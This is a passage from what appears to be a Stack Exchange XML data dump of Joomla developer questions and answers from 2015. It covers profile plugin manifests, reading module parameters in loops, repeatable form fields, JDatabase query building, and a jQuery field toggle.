Ltda.&amp;lt;/copyright&amp;gt;&#xA;    &amp;lt;license&amp;gt;GNU General Public License version 2 or later; see LICENSE.txt&amp;lt;/license&amp;gt;&#xA;    &amp;lt;authorEmail&amp;gt;x@x.com&amp;lt;/authorEmail&amp;gt;&#xA;    &amp;lt;authorUrl&amp;gt;www.x.com&amp;lt;/authorUrl&amp;gt;&#xA;    &amp;lt;version&amp;gt;0.1.3&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;PLG_USER_PROFILE_EI_XML_DESCRIPTION&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&quot;profile_ei&quot;&amp;gt;profile_ei.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;folder&amp;gt;profiles&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;fields&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;    &amp;lt;languages&amp;gt;&#xA;        &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB.plg_user_profile_ei.ini&amp;lt;/language&amp;gt;&#xA;        &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB.plg_user_profile_ei.sys.ini&amp;lt;/language&amp;gt;&#xA;        &amp;lt;language tag=&quot;es-ES&quot;&amp;gt;es-ES.plg_user_profile_ei.ini&amp;lt;/language&amp;gt;&#xA;        &amp;lt;language tag=&quot;es-ES&quot;&amp;gt;es-ES.plg_user_profile_ei.sys.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;/languages&amp;gt;&#xA;    &amp;lt;config&amp;gt;&#xA;        &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;            &amp;lt;fieldset name=&quot;basic&quot; addfieldpath=&quot;/administrator/components/com_content/models/fields&quot;&amp;gt;&#xA;                &amp;lt;field name=&quot;register-require-user&quot;&#xA;                    type=&quot;spacer&quot;&#xA;                    class=&quot;text&quot;&#xA;                    label=&quot;PLG_USER_PROFILE_EI_FIELD_NAME_REGISTER_REQUIRE_USER&quot;&#xA;                /&amp;gt;&#xA;                &amp;lt;field name=&quot;register-require_first_name&quot;&#xA;                    type=&quot;list&quot;&#xA;                    description=&quot;PLG_USER_PROFILE_EI_FIELD_FIRST_NAME_DESC&quot;&#xA;                    label=&quot;PLG_USER_PROFILE_EI_FIELD_FIRST_NAME_LABEL&quot;&#xA;                &amp;gt;&#xA;                    &amp;lt;option value=&quot;2&quot;&amp;gt;JOPTION_REQUIRED&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;1&quot;&amp;gt;JOPTION_OPTIONAL&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;0&quot;&amp;gt;JDISABLED&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;                    &#xA;&#xA;                &amp;lt;field name=&quot;spacer1&quot; type=&quot;spacer&quot;&#xA;                    hr=&quot;true&quot;&#xA;                /&amp;gt;&#xA;&#xA;                &amp;lt;field name=&quot;profile-require-user&quot; type=&quot;spacer&quot; class=&quot;text&quot;&#xA;                    label=&quot;PLG_USER_PROFILE_EI_FIELD_NAME_PROFILE_REQUIRE_USER&quot;&#xA;                /&amp;gt;&#xA;&#xA;                &amp;lt;field name=&quot;profile-require_first_name&quot; type=&quot;list&quot;&#xA;                    description=&quot;PLG_USER_PROFILE_EI_FIELD_FIRST_NAME_DESC&quot;&#xA;                    label=&quot;PLG_USER_PROFILE_EI_FIELD_FIRST_NAME_LABEL&quot;&#xA;                &amp;gt;&#xA;                    &amp;lt;option value=&quot;2&quot;&amp;gt;JOPTION_REQUIRED&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;1&quot;&amp;gt;JOPTION_OPTIONAL&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;0&quot;&amp;gt;JDISABLED&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;            &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;/config&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the form file (profiles/profile.xml) looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fields name=&quot;profile_ei&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;profile_ei&quot;&#xA;            label=&quot;PLG_USER_PROFILE_EI_SLIDER_LABEL&quot;&#xA;        &amp;gt;&#xA;            &amp;lt;field&#xA;                name=&quot;first_name&quot;&#xA;                type=&quot;text&quot;&#xA;                id=&quot;first_name&quot;&#xA;                description=&quot;PLG_USER_PROFILE_EI_FIELD_FIRST_NAME_DESC&quot;&#xA;                filter=&quot;string&quot;&#xA;                label=&quot;PLG_USER_PROFILE_EI_FIELD_FIRST_NAME_LABEL&quot;&#xA;                size=&quot;30&quot;&#xA;            /&amp;gt;&#xA;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PS: I didn't include the complete code because SE wouldn't allow it and it looks pretty much the same.&lt;/p&gt;&#xA;" OwnerUserId="2097" LastEditorUserId="159" LastEditDate="2015-05-16T18:15:10.700" LastActivityDate="2015-05-16T18:15:10.700" Title="Custom profile plugin fields not showing" Tags="|joomla-3.x|plugin|fix-my-code|profile|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9926" PostTypeId="2" ParentId="9920" CreationDate="2015-05-14T02:21:50.877" Score="3" Body="&lt;p&gt;I would like to preface this answer with the statement this is not the ideal solution for storing and retrieving a dynamic list of parameters.  The &quot;proper&quot; way would be to use a custom table in your Joomla database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question, if you know the number of companies the way to utilize a loop to retrieve your params would be like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$companies = array();&#xA;$company_count = 40;&#xA;&#xA;for ($i = 1; $i &amp;lt;= $company_count; $i++)&#xA;{&#xA;    $companies[$i] = (object) array(&#xA;        'enable' =&amp;gt; $params-&amp;gt;get('company' . $i . '_enable', null);&#xA;        'name' =&amp;gt; $params-&amp;gt;get('company' . $i . '_name', null);&#xA;        'logo' =&amp;gt; $params-&amp;gt;get('company' . $i . '_logo', null);&#xA;        'image' =&amp;gt; $params-&amp;gt;get('company' . $i . '_image', null);&#xA;        'description' =&amp;gt; $params-&amp;gt;get('company' . $i . '_description', null);&#xA;    );&#xA;}&#xA;&#xA;//Access company information by index from 1 to 40  &#xA;$companies[1]-&amp;gt;enable;&#xA;$companies[1]-&amp;gt;name;&#xA;$companies[1]-&amp;gt;logo;&#xA;$companies[1]-&amp;gt;image;&#xA;$companies[1]-&amp;gt;description;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you don't know the number of params, things get a little more complicated.  You would need to use a a do...while loop checking for a null result being returned:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$companies = array();&#xA;$continue = true;&#xA;$count = 0;&#xA;&#xA;do&#xA;{&#xA;    $count++;&#xA;    $company = (object) array(&#xA;        'enable' =&amp;gt; $params-&amp;gt;get('company' . $count . '_enable', null);&#xA;        'name' =&amp;gt; $params-&amp;gt;get('company' . $count . '_name', null);&#xA;        'logo' =&amp;gt; $params-&amp;gt;get('company' . $count . '_logo', null);&#xA;        'image' =&amp;gt; $params-&amp;gt;get('company' . $count . '_image', null);&#xA;        'description' =&amp;gt; $params-&amp;gt;get('company' . $count . '_description', null);&#xA;    );&#xA;&#xA;    if (empty($company-&amp;gt;enable)&#xA;    {&#xA;        $continue = false;&#xA;    }&#xA;    else&#xA;    {&#xA;        $companies[$count] = $company;&#xA;    }&#xA;&#xA;} while ($continue)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have not tested any of the code, but the core concepts are there.  I would HIGHLY suggest taking Lanah's advice and using the repeatable field if your using version 3.4.x or create and use a custom database table if your version is lower.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2015-05-14T02:21:50.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9927" PostTypeId="5" CreationDate="2015-05-14T05:15:36.330" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2015-05-14T05:15:36.330" LastActivityDate="2015-05-14T05:15:36.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9928" PostTypeId="4" CreationDate="2015-05-14T05:15:36.330" Score="0" Body="Joomla! Input Base Class&#xD;&#xA;&#xD;&#xA;This is an abstracted input class used to manage retrieving data from the application environment" OwnerUserId="411" LastEditorUserId="411" LastEditDate="2015-05-15T09:28:20.277" LastActivityDate="2015-05-15T09:28:20.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9929" PostTypeId="1" AcceptedAnswerId="9930" CreationDate="2015-05-14T07:49:41.407" Score="2" ViewCount="88" Body="&lt;p&gt;In Joomla there are different plugin types/groups - System, Content, etc.&#xA;Also events are separated.&#xA;For example &lt;code&gt;onAfterRoute&lt;/code&gt; is described as &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/System#onAfterRoute&quot; rel=&quot;nofollow&quot;&gt;System event&lt;/a&gt;.&#xA;Can I use &lt;code&gt;onAfterRoute&lt;/code&gt; from within a Content plugin?&lt;/p&gt;&#xA;" OwnerUserId="1995" LastActivityDate="2015-05-14T08:11:06.373" Title="Can all events be usable from any plugin?" Tags="|plugin|system-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9930" PostTypeId="2" ParentId="9929" CreationDate="2015-05-14T08:11:06.373" Score="2" Body="&lt;p&gt;All the Joomla events are categorized for different purpose.&#xA;And each event trigger will be available only for those plugins which actually serve that purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is an authentication type event then that event is available only for the plugin which belongs to authentication group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same goes with content related events like onContentPrepare.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But all the Joomla events are available in System plugins no matter event belongs to which category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;System events can only be used within system plugins. So you can not use the same within content plugin.&lt;/p&gt;&#xA;" OwnerUserId="396" LastActivityDate="2015-05-14T08:11:06.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9932" PostTypeId="2" ParentId="9920" CreationDate="2015-05-14T09:35:16.300" Score="4" Body="&lt;p&gt;I'll go a little more in-depth with the repeatable form fields method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, I would use 1 repeatable form field for &lt;strong&gt;all&lt;/strong&gt; names, another for &lt;strong&gt;all&lt;/strong&gt; logos and so on. So here would be the form field for the company name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field &#xA;    name=&quot;company_name&quot; &#xA;    type=&quot;Repeatable&quot; &#xA;    icon=&quot;list&quot; &#xA;    label=&quot;Company Name&quot;&#xA;    default='{&quot;name&quot;:[&quot;Company 1&quot;, &quot;Company 2&quot;, &quot;etc..&quot;]}'&amp;gt;&#xA;    &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;        &amp;lt;fieldset hidden=&quot;true&quot; name=&quot;company_name_modal&quot; repeat=&quot;true&quot;&amp;gt;&#xA;            &amp;lt;field name=&quot;name&quot;&#xA;                label=&quot;Image&quot;&#xA;                type=&quot;text&quot; /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your &lt;strong&gt;helper.php&lt;/strong&gt;, add the following to go through the json encoded form fields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ModMyModuleHelper&#xA;{&#xA;    public function group_by_key($array) &#xA;    {&#xA;        $result = array();&#xA;&#xA;        foreach ($array as $sub) &#xA;        {&#xA;            foreach ($sub as $k =&amp;gt; $v) &#xA;            {&#xA;                $result[$k][] = $v;&#xA;            }&#xA;        }&#xA;        return $result;&#xA;    }    &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your &lt;strong&gt;mod_mymodule.php&lt;/strong&gt; file, you will need to call the helper and the function, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once dirname(__FILE__) . '/helper.php';&#xA;&#xA;$helper = new ModMyModuleHelper;&#xA;&#xA;// Get names&#xA;$json_names = $params-&amp;gt;get('company_name');&#xA;$names      = $helper-&amp;gt;group_by_key( json_decode($json_names, true) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your &lt;strong&gt;default.php&lt;/strong&gt;, you can add your &lt;code&gt;foreach&lt;/code&gt; loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($names as $index =&amp;gt; $value) &#xA;{                   &#xA;    echo '&amp;lt;p&amp;gt;' . $value[0] . '&amp;lt;/p&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I kind of prefer this method as you only need to duplicate the code for the company logo, image and description, rather than 40 times (for each individual company). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps in some way, shape, or form&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-05-14T09:35:16.300" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="9933" PostTypeId="1" CreationDate="2015-05-14T09:51:49.663" Score="0" ViewCount="139" Body="&lt;p&gt;If we have some list of items in category view of some component (no matter what component — interesting in general solution) how can we loop only the items with some condition that is given from some custom plugin but &lt;strong&gt;WITHOUT&lt;/strong&gt; editing core files of the component or template overriding? For example we display the item titles of com_content through:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($this-&amp;gt;items as $article)&#xA;{&#xA; echo $article-&amp;gt;title;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can we &quot;put&quot; (not putting in com_content but programmatically on the fly) some condition from plg_myplugin to display only the items with this condition for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($this-&amp;gt;items as $article)&#xA;{&#xA;  if($article-&amp;gt;some_parameter == 'some value')&#xA;  {&#xA;     echo $article-&amp;gt;title;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In other words how to create own plugin-filter for sorting the items of component?&lt;/p&gt;&#xA;" OwnerUserId="4042" LastEditorUserId="4042" LastEditDate="2015-05-15T14:24:13.000" LastActivityDate="2015-08-13T15:51:12.147" Title="Looping items in category view of component with condition from plugin" Tags="|component|development|module|plugin|joomla-api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9934" PostTypeId="2" ParentId="9933" CreationDate="2015-05-14T09:59:14.690" Score="0" Body="&lt;p&gt;You will need to utilize &lt;code&gt;JModuleHelper&lt;/code&gt; and &lt;code&gt;JRegistry&lt;/code&gt; to achieve this, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$module         = JModuleHelper::getModule('mod_mymodule');&#xA;$moduleParams   = new JRegistry();&#xA;$moduleParams-&amp;gt;loadString($module-&amp;gt;params);&#xA;&#xA;$parameter = $moduleParams-&amp;gt;get('some_parameter');&#xA;&#xA;foreach ($this-&amp;gt;items as $i =&amp;gt; $article)&#xA;{&#xA;    if ($parameter  == 'some value')&#xA;    {&#xA;        echo $article-&amp;gt;title;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In a Template Override of the category view, you won't need to use a loop, instead use something like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($parameter  == 'some value')&#xA;{&#xA;    echo $article-&amp;gt;title;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-05-14T10:05:44.960" LastActivityDate="2015-05-14T10:05:44.960" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9937" PostTypeId="1" CreationDate="2015-05-14T14:42:43.987" Score="1" ViewCount="45" Body="&lt;p&gt;Is there a way that Joomla only renders my component. I would like to prevent that the admin menu is shown, but also that moo-tools(collides and slows down all!) and jQuery doesn't get loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My application uses the admin component url also for RPC/Ajax so I don't really want a to open a new RPC entry-point...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="5242" LastEditorUserId="126" LastEditDate="2016-01-21T22:49:18.993" LastActivityDate="2016-01-21T22:49:37.523" Title="Don't render admin menus and Joomla stuff in my back-end component?" Tags="|joomla-3.x|component|administrator|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9939" PostTypeId="2" ParentId="9937" CreationDate="2015-05-14T16:38:41.800" Score="1" Body="&lt;p&gt;The easiest &amp;amp; quickest way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.- remove all scripts: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;foreach($doc-&amp;gt;_scripts as $key =&amp;gt; $script) {&#xA;    foreach($search as $findme) {&#xA;        unset($doc-&amp;gt;_scripts[$key]);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2. then determine all toolbars, etc... via inspector, then hide it via CSS&lt;/p&gt;&#xA;" OwnerUserId="5242" LastEditorUserId="126" LastEditDate="2016-01-21T22:49:37.523" LastActivityDate="2016-01-21T22:49:37.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9940" PostTypeId="1" AcceptedAnswerId="9942" CreationDate="2015-05-14T17:59:33.957" Score="3" ViewCount="2199" Body="&lt;p&gt;I'm having a difficult time translating this SQL script to JDatabase methods because I can't find the &lt;code&gt;AND&lt;/code&gt; query method. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT user.firstname, user.lastname, leadership.leadname, leadership.lead_des&#xA;FROM CLUB,LEADERSHIP,USER&#xA;WHERE CLUB.CLUB_ID=11&#xA;AND LEADERSHIP.USER_ID=USER.USER_ID&#xA;AND CLUB.CLUB_ID=Leadership.CLUB_ID;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was looking at the &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;JDatabase documentation&lt;/a&gt; but don't see anything in there with &lt;code&gt;AND&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I write my query using Joomla's query syntax?&lt;/p&gt;&#xA;" OwnerUserId="4013" LastEditorUserId="12352" LastEditDate="2018-07-23T16:52:01.103" LastActivityDate="2018-09-27T21:47:39.747" Title="How to write my MySQL query with JOIN logic using JDatabase methods?" Tags="|php|mysql|jdatabase|sql|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="9941" PostTypeId="2" ParentId="9940" CreationDate="2015-05-14T18:42:40.780" Score="1" Body="&lt;p&gt;You can use the &lt;code&gt;and&lt;/code&gt; clause like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;where('CLUB.CLUB_ID = USER.USER_ID', 'AND')&#xA;      -&amp;gt;where('LEADERSHIP.USER_ID = USER.USER_ID', 'AND')&#xA;      -&amp;gt;where('CLUB.CLUB_ID = Leadership.CLUB_ID');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-05-14T18:42:40.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9942" PostTypeId="2" ParentId="9940" CreationDate="2015-05-14T18:51:31.393" Score="6" Body="&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;  -&amp;gt;select('user.firstname, user.lastname, leadership.leadname, leadership.lead_des')&#xA;  -&amp;gt;from('CLUB,LEADERSHIP,USER')&#xA;  -&amp;gt;where('CLUB.CLUB_ID=11')&#xA;  -&amp;gt;where('LEADERSHIP.USER_ID=USER.USER_ID')&#xA;  -&amp;gt;where('CLUB.CLUB_ID=Leadership.CLUB_ID');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Multiple where clauses by default clubbed with AND. You can give the glue (AND or OR) explicitly as second option to the where function above however it is optional. Quote from Joomla API docs for JDatabaseQuery-&gt;where function:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;string $glue - The glue by which to join the conditions. Defaults to&#xA;  AND. Note that the glue is set on first use and cannot be changed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Or the alternative is you can manually combine in single where clause. You can use this method to mix OR and AND in the where clauses in a complex query.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true)&#xA;  -&amp;gt;select('user.firstname, user.lastname, leadership.leadname, leadership.lead_des')&#xA;  -&amp;gt;from('CLUB,LEADERSHIP,USER')&#xA;  -&amp;gt;where('CLUB.CLUB_ID=11 AND LEADERSHIP.USER_ID=USER.USER_ID AND CLUB.CLUB_ID=Leadership.CLUB_ID');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2015-05-14T18:58:11.990" LastActivityDate="2015-05-14T18:58:11.990" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9945" PostTypeId="1" CreationDate="2015-05-15T10:50:54.137" Score="1" ViewCount="801" Body="&lt;p&gt;I got a JForm and I got some fields in there. I would like to disable a field, if the value of another field is &quot;0&quot;. I know that I can do that by preparing the form while loading, but I want to solve that &quot;live&quot;, so if the user clicks around, the readonly should immediately be set or unset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I solve this? I guess I have to do some JQuery - unfortunately I do not have any idea of jQuery and this stuff, so maybe you could help me out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance :-)&lt;/p&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2015-05-15T14:24:08.640" Title="Dynamically change the &quot;readonly&quot;-tag of JForm Field" Tags="|jquery|jform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9947" PostTypeId="1" AcceptedAnswerId="9949" CreationDate="2015-05-15T11:19:22.827" Score="1" ViewCount="1432" Body="&lt;p&gt;I am creating a custom joomla module based on form submission &#xA;but i am having some problems in inserting the values &#xA;I have a html form which has certain fieldsets which pass values to mod_score.php which checks for empty validation and proceeds for helper.php where i have the function for inserting the form values.&#xA;&lt;br&gt;&#xA;&lt;br&gt;Testing it on my localhost (XAMPP )&#xA;&lt;br&gt;Version 3.4&#xA;&lt;br&gt;Template Protostar&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  // This is the class&#xA;&#xA;class modScoreCardHelper&#xA;        {&#xA;    function saveCard($params)&#xA;        {&#xA;        $input= new JInput;&#xA;        $match_id           =   $input-&amp;gt;get('match_id',null);&#xA;        $match_time         =   $input-&amp;gt;get('match_time',null);&#xA;        $match_venue        =   $input-&amp;gt;get('match_venue',null);&#xA;        $match_team_one     =   $input-&amp;gt;get('match_team_one',null);&#xA;        $match_team_two     =   $input-&amp;gt;get('match_team_two',null);&#xA;        $match_result       =   $input-&amp;gt;get('match_result',null);&#xA;        $match_umpire_one   =   $input-&amp;gt;get('match_umpire_one',null);&#xA;        $match_umpire_two   =   $input-&amp;gt;get('match_umpire_two',null);&#xA;        $match_mom          =   $input-&amp;gt;get('match_mom',null);&#xA;        $match_toss         =   $input-&amp;gt;get('match_toss',null);&#xA;        $match_fow          =   $input-&amp;gt;get('match_fow',null);&#xA;        $match_comments     =   $input-&amp;gt;get('match_comments',null);&#xA;        $match_debutants    =   $input-&amp;gt;get('match_debutants',null);&#xA;&#xA;&#xA;        // Get a db connection.&#xA;        $db = JFactory::getDbo();&#xA;        echo 'starting to insert in db';&#xA;        // Create a new query object.&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;        // Insert columns.&#xA;        $columns = array('match_id', 'match_time', 'match_venue', 'match_result','match_team_one',&#xA;                'match_team_two','match_umpire_one','match_mom','match_comments','match_debutants',&#xA;                'match_umpire_two','match_toss','match_fow');&#xA;&#xA;&#xA;&#xA;        $values = array($match_id, $match_time, $match_venue,$match_result,$match_team_one,&#xA;                $match_team_two,$match_umpire_one,$match_mom,$match_comments,&#xA;                $match_debutants,$match_umpire_two,$match_toss,$match_fow);&#xA;&#xA;&#xA;&#xA;&#xA;        // Prepare the insert query.&#xA;        $query-&amp;gt;insert($db-&amp;gt;quoteName('#__match_record'))&#xA;          -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;         -&amp;gt;values(implode(',', $values));&#xA;&#xA;        // Set the query using our newly populated query object and execute it.&#xA;            $db-&amp;gt;setQuery($query);&#xA;            $db-&amp;gt;execute();&#xA;&#xA;&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I simply copied the query in phpmyadmin and executed the code it gave me error 1064 as it is showing on the site.I searched a lot on google and added double quotes to  the column values field like &quot;MI &quot;,&quot; RCB &quot; in phpmyadmin and the query executed sucessfully .there but i do not know how to add double quotes.Also in the query it is deleting the spaces in the values &#xA;&lt;br&gt;For example : actual value = MI won becomes MIwon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how to remove those spaces and double quotes in my query and remove this error&#xA;Thanks in advance &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D03Ii.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="411" LastEditorUserId="126" LastEditDate="2015-10-13T10:33:47.757" LastActivityDate="2015-10-13T10:33:47.757" Title="Unable to insert form values in to database Joomla 3" Tags="|joomla-3.x|development|database|form|custom-module|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9948" PostTypeId="2" ParentId="9945" CreationDate="2015-05-15T11:28:36.763" Score="0" Body="&lt;p&gt;You can simply achieve this using jQuery by adding the &lt;code&gt;disabled&lt;/code&gt; attribute based on the value, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;&#xA;    var inputFirst  = $('#jform_choose0');&#xA;    var inputSecond = $('#jform_choose1');&#xA;&#xA;    inputFirst.on('change', function(){&#xA;&#xA;        if ($(this).val() == 0) {&#xA;            inputSecond.prop('disabled', true);&#xA;        }&#xA;        else {&#xA;            inputSecond.prop('disabled', false);&#xA;        }&#xA;&#xA;    });&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is a live preview for you to test:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://jsfiddle.net/k3s6g2f7/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/k3s6g2f7/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will of course need to change the ID's that have been defined according to your own input fields.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-05-15T14:24:08.640" LastActivityDate="2015-05-15T14:24:08.640" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9949" PostTypeId="2" ParentId="9947" CreationDate="2015-05-15T11:39:01.520" Score="1" Body="&lt;p&gt;Replace your $input with following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$input = JFactory::getApplication()-&amp;gt;input&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;$db-&amp;gt;quote($name_of_your_value_var);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your $values will be as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$values = array($match_id, $db-&amp;gt;quote($match_time), $db-&amp;gt;quote($match_venue),$db-&amp;gt;quote($match_result),$db-&amp;gt;quote($match_team_one),&#xA;                $db-&amp;gt;quote($match_team_two),$db-&amp;gt;quote($match_umpire_one),$db-&amp;gt;quote($match_mom),$db-&amp;gt;quote($match_comments),&#xA;                $db-&amp;gt;quote($match_debutants),$db-&amp;gt;quote($match_umpire_two),$db-&amp;gt;quote($match_toss),$db-&amp;gt;quote($match_fow));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can omit 